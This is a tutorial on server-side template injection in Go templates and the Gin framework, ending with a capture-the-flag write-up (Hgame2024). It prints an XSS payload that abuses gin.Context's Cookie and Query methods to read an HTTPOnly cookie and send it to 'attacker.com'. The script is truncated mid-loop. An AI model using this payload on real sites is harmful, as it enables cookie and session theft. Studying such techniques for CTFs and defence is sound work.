Go SSTI Fundamentals
Go's template injection vulnerability allows attackers to execute arbitrary code by manipulating template rendering, potentially bypassing security restrictions like HTTPOnly cookies.
Template Rendering
Go templates use {{}} syntax for rendering. Consider this basic example:
type Product struct {
Name string
Quantity int
}
items := Product{"widgets", 42}
tmpl, err := template.New("inventory").Parse("{{.Quantity}} units of {{.Name}} are in stock")
if err != nil { panic(err) }
err = tmpl.Execute(os.Stdout, items)
if err != nil { panic(err) }
The output will render the values 42 and widgets into the template.
Template Actions
Go templates support various actions:
{{/* a comment */}}
{{- /* a comment with whitespace trimmed */ -}}
{{pipeline}} // Pipeline can be a function or property value
{{if pipeline}} T1 {{end}}
{{if pipeline}} T1 {{else}} T0 {{end}}
{{if pipeline}} T1 {{else if pipeline}} T0 {{end}}
{{range pipeline}} T1 {{end}}
{{range pipeline}} T1 {{else}} T0 {{end}} // Executes T0 if array is empty
{{break}}
{{continue}}
{{template "name"}} // Renders template named "name"
{{template "name" pipeline}} // Uses pipeline as data for template "name"
{{block "name" pipeline}} T1 {{end}} // Defines and executes template
{{with pipeline}} T1 {{end}} // Sets dot to pipeline value if not empty
{{with pipeline}} T1 {{else}} T0 {{end}} // Executes T0 if empty, otherwise T1
Pipelines
Pipelines can be structured as:
Argument
.Method [Argument...]
functionName [Argument...]
Pipelines can be connected with the pipe operator |, where the output of one becomes the input to the next.
Variables
Variables can be initialized within actions:
$variable := pipeline
range $index, $element := pipeline
Exploiting gin.Context
The Gin web framework provides several methods in its Context object that can be exploited:
| Method | Description |
|---|---|
| ClientIP | Returns client IP address |
| ContentType | Returns content type |
| Cookie | Returns cookie values, bypassing HTTPOnly restrictions |
| Query | Retrieves URL parameters, e.g., Query("a") returns "123" from ?a=123 |
Case Study: Hgame2024 Week2 Challenge
In this challenge, we needed to perform XSS with an HTTPOnly cookie. The solution involved:
- Creating an iframe to fetch the flag cookie
- Using a second iframe to exfiltrate the data
The unencoded payload was:
?tmpl={{print 1|.Query}}&1=<iframe src="http://attacker.com/flag" id=2></iframe>
<script>
function exfil(){
var iframe=document.createElement("iframe")
iframe.src="http://attacker.com/?tmpl={{print 2|.Query|.Cookie}}&2=flag"
iframe.onload=function(){
var data=iframe.contentWindow.document.body.innerHTML.slice(59,-7)
var hex=""
for(var i=0;i
The challenge involved HTML escaping, preventing the use of quotes. The Query method allowed accessing URL parameters. Converting the parameter to string using print bypassed type validation.
Exploitation Approach
Go SSTI exploitation requires understanding:
- The base object represented by
{{.}} - Methods and properties available on this object
- How to leverage these for bypass security restrictions